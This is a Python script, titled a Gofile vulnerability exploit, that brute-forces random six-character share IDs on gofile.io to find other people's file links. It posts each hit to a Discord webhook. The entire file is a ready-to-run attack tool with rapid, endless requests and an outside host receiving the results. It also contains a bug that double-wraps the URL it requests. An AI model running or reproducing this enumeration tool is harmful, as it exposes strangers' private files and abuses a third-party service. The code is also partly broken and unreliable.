# __________                  __             __     ________             .___ 
# \______   \  ____    ____  |  | __  ____ _/  |_  /  _____/   ____    __| _/ 
#  |       _/ /  _ \ _/ ___\ |  |/ /_/ __ \\   __\/   \  ___  /  _ \  / __ |  
#  |    |   \(  <_> )\  \___ |    < \  ___/ |  |  \    \_\  \(  <_> )/ /_/ |  
#  |____|_  / \____/  \___  >|__|_ \ \___  >|__|   \______  / \____/ \____ |  
#         \/              \/      \/     \/               \/              \/  
#
# Gofile Vulnerability Exploit Script by RocketGod
# https://github.com/RocketGod-git/gofile-vulnerability-exploit-script

import random
import string
import requests
import time
import re

GOFILE_URL_TEMPLATE = "https://gofile.io/d/{}"
DISCORD_WEBHOOK_URL = "YOUR-DISCORD-WEBHOOK-HERE"

# Step 1: Generate a random 6-character alphanumeric string
def generate_random_string(length=6):
    return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

# Step 2: Check the validity of a Gofile URL
def check_gofile_url_html(random_string):
    url = GOFILE_URL_TEMPLATE.format(random_string)
    download_meta_pattern = r'<meta name=\'description\' content=\'\d+ downloads\' />'  

    try:
        response = requests.get(url)
        if response.status_code == 200:
            html_content = response.text
            if re.search(download_meta_pattern, html_content, re.IGNORECASE):
                return True  
            return False
        else:
            return None
    except requests.RequestException as e:
        print(f"[ERROR] Request failed: {e}")
        return None

# Step 3: Send a POST request to the Discord webhook
def send_to_discord(url):
    data = {"content": f"Valid Gofile URL found: {url}"}
    try:
        response = requests.post(DISCORD_WEBHOOK_URL, json=data)
        if response.status_code != 204:  
            print(f"[ERROR] Discord webhook call failed with status code {response.status_code}: {response.text}")
    except requests.RequestException as e:
        print(f"[ERROR] Failed to send data to Discord: {e}")

# Main loop
def main():
    while True:
        random_string = generate_random_string()
        print(f"Testing {random_string}", end="\r")
        url = GOFILE_URL_TEMPLATE.format(random_string)
        valid = check_gofile_url_html(url)  
        if valid is True:
            print(f"[SUCCESS] Valid URL found: {url}")
            send_to_discord(url)
        elif valid is False:
            print(f"[FAIL] Invalid URL: {url}")
        # If valid is None, an error occurred.
        time.sleep(0.005)  

if __name__ == "__main__":
    main()
